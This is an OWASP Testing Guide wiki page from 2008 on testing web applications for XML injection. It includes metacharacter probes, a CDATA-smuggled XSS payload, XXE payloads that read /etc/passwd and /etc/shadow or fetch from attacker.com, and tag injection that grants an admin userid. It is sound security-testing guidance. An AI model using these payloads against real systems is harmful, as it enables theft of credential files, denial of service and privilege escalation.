Difference between revisions of "Testing for XML Injection (OTG-INPVAL-008)"

Revision as of 05:54, 23 August 2008

[Up]
OWASP Testing Guide v2 Table of Contents

Brief Summary

We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an appropriate data validation the test will results positive.

Short Description of the Issue

In this section, we describe a practical example of XML Injection: first, we define an XML style communication and we show how it works. Then, we describe the discovery method in which we try to insert XML metacharacters. Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).

Black Box testing and example

Let's suppose there is a web application using an XML style communication in order to perform users registration. This is done by creating and adding a new <user> node in an xmlDb file. Let's suppose the xmlDB file is like the following:

<?xml version="1.0" encoding="ISO-8859-1"?> 
<users> 
	<user> 
		<username>gandalf</username> 
		<password>!c3</password> 
		<userid>0</userid>
		<mail>[email protected]</mail>
	</user> 
	<user> 
		<username>Stefan0</username> 
		<password>w1s3c</password> 
		<userid>500</userid>
		<mail>[email protected]</mail>
	</user> 
</users>

When a user registers himself by filling an HTML form, the application receives the user's data in a standard request, which, for the sake of simplicity, will be supposed to be sent as a GET request.

For example, the following values:

Username: tony
Password: Un6R34kb!e
E-mail: [email protected]

will produce the request:

http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&[email protected]

The application, then, builds the following node:

<user> 
	<username>tony</username> 
	<password>Un6R34kb!e</password> 
	<userid>500</userid>
	<mail>[email protected]</mail>
</user>

which will be added to the xmlDB:

<?xml version="1.0" encoding="ISO-8859-1"?> 
<users> 
	<user> 
		<username>gandalf</username> 
		<password>!c3</password> 
		<userid>0</userid>
		<mail>[email protected]</mail>
	</user> 
	<user> 
		<username>Stefan0</username> 
		<password>w1s3c</password> 
		<userid>500</userid>
		<mail>[email protected]</mail>
	</user> 
	<user> 
		<username>tony</username> 
		<password>Un6R34kb!e</password> 
		<userid>500</userid>
		<mail>[email protected]</mail>
	</user> 
</users>

Discovery

The first step in order to test an application for the presence of a XML Injection vulnerability consists of trying to insert XML metacharacters.
XML metacharacters are:

• Single quote: ' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.

As an example, let's suppose there is the following attribute:

<node attrib='$inputValue'/>

So, if:

inputValue = foo'

is instantiated and then is inserted as the attrib value:

<node attrib='foo''/>

then, the resulting XML document is not well formed.

• Double quote: " - this character has the same means of double quotes and it could be used in case the attribute value is enclosed in double quotes.

<node attrib="$inputValue"/>

So if:

$inputValue = foo"

the substitution gives:

<node attrib="foo""/>

and the resulting XML document is invalid.

• Angular parenthesis: > and < - By adding an open or closed angular parenthesis in a user input like the following:

Username = foo<

the application will build a new node:

<user> 
     <username>foo<</username> 
     <password>Un6R34kb!e</password> 
     <userid>500</userid>
     <mail>[email protected]</mail>
</user>

but, because of the presence of the open '<', the resulting XML document is invalid.

• Comment tag: <!--/--> - This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:

Username = foo<!--

the application will build a node like the following:

<user> 
    <username>foo<!--</username> 
    <password>Un6R34kb!e</password> 
    <userid>500</userid>
    <mail>[email protected]</mail>
</user>

which won't be a valid XML sequence.

• Ampersand: & - The ampersand is used in the XML syntax to represent entities. The format of an entity is '&symbol;'. An entity is mapped to a character in the Unicode character set.

For example:

<tagnode>&lt;</tagnode>

is well formed and valid, and represents the '<' ASCII character.

If '&' is not encoded itself with &amp;, it could be used to test XML injection.

In fact, if an input like the following is provided:

Username = &foo

a new node will be created:

<user> 
<username>&foo</username> 
<password>Un6R34kb!e</password> 
<userid>500</userid>
<mail>[email protected]</mail>
</user>

but, again, the document is not valid: &foo is not terminated with ';' and the &foo; entity is undefined.

• CDATA section delimiters: <![CDATA[ / ]]> - CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser.

For example, if there is the need to represent the string '<foo>' inside a text node, a CDATA section may be used:

<node>
    <![CDATA[<foo>]]>
</node>

so that '<foo>' won't be parsed as markup and will be considered as character data.

In case a node is built in the following way:

<username><![CDATA[<$userName]]></username>

the tester could try to inject the end CDATA string ']]>' in order to try to invalidate the XML document.

userName  = ]]>

this will become:

<username><![CDATA[]]>]]></username>

which is not a valid XML fragment.

• External Entity:

Another test is related to CDATA tag. Suppose that the XML document is processed to generate a HTML page. In this case, the CDATA section delimiters may be simply eliminated, without further inspecting their contents. Then, it is possible to inject HTML tags, which will be included in the generated page, completely bypassing existing sanitization routines.

Let's consider a concrete example. Suppose to have a node containing some text that will be displayed back to the user.

 <html>
 $HTMLCode
 </html>

Then, an attacker can provide the following input:

$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>

and obtain the following node:

<html>
  <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
 </html>

During the processing, the CDATA section delimiters are eliminated, generating the following HTML code:

<script>alert('XSS')</script>

The result is that the application is vulnerable to XSS.

Entity: It's possible to define an entity using the DTDs. &. is an example of an entity. It's possible to specify a URL as entity: in this way you create a possible vulnerability by XML External Entity (XEE). So, the last test to try is formed by the following strings:

<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>

This test could crash the web server (linux system), because we are trying to create an entity with a infinite number of chars. Other tests are the following:

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>

The goal of these tests is to obtain informations about the structure of the XML data base. If we analyze these errors, we can find a lot of useful informations in relation to the adopted technology.

Tag Injection

Once the first step is accomplished, the tester will have some informations about xml structure, so it will be possible to try to inject xml data and tags.

Considering previous example, by inserting the following values:

Username: tony
Password: Un6R34kb!e
E-mail: [email protected]</mail><userid>0</userid><mail>[email protected]

the application will build a new node and append it to the XML database:

<?xml version="1.0" encoding="ISO-8859-1"?> 
<users> 
	<user> 
		<username>gandalf</username> 
		<password>!c3</password> 
		<userid>0</userid>
		<mail>[email protected]</mail>
	</user> 
	<user> 
		<username>Stefan0</username> 
		<password>w1s3c</password> 
		<userid>500</userid>
		<mail>[email protected]</mail>
	</user> 
	<user> 
		<username>tony</username> 
		<password>Un6R34kb!e</password> 
		<userid>500</userid>
		<mail>[email protected]</mail><userid>0</userid><mail>[email protected]</mail>
	</user> 
</users>

The resulting xml file will be well formed and it is likely that the userid tag will be cosidered with the latter value (0 = admin id). The only shortcoming is that userid tag exists two times in the last user node, and often xml file is associated with a schema or a DTD. Let's suppose now that xml structure has the following DTD:

<!DOCTYPE users [
	  <!ELEMENT users (user+) >
	  <!ELEMENT user (username,password,userid,mail+) >
	  <!ELEMENT username (#PCDATA) >
	  <!ELEMENT password (#PCDATA) >
	  <!ELEMENT userid (#PCDATA) >
	  <!ELEMENT mail (#PCDATA) >
]>

to be noted that userid node is defined with cardinality 1 (userid).

So if this occurs, any simple attack won't be accomplished when xml is validated against the specified DTD.

If the tester can control some value for nodes enclosing userid tag (like in this example), by injection a comment start/end sequence like the following:

Username: tony
Password: Un6R34kb!e</password><userid>0</userid><mail>[email protected]

xml database file will be :

<?xml version="1.0" encoding="ISO-8859-1"?> 
<users> 
	<user> 
		<username>gandalf</username> 
		<password>!c3</password> 
		<userid>0</userid>
		<mail>[email protected]</mail>
	</user> 
	<user> 
		<username>Stefan0</username> 
		<password>w1s3c</password> 
		<userid>500</userid>
		<mail>[email protected]</mail>
	</user> 
	<user> 
		<username>tony</username> 
		<password>Un6R34kb!e</password><!--</password> 
		<userid>500</userid>
		<mail>--><userid>0</userid><mail>[email protected]</mail>
	</user>
</users>

This way original userid tag will be commented out and the one injected will be parsed in compliance to DTD rules.
The result is that user 'tony' will be logged with userid=0 ( which could be an administrator uid)

References

Whitepapers

• [1] Alex Stamos: "Attacking Web Services" - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt
  

OWASP Testing Guide v2

Here is the OWASP Testing Guide v2 Table of Contents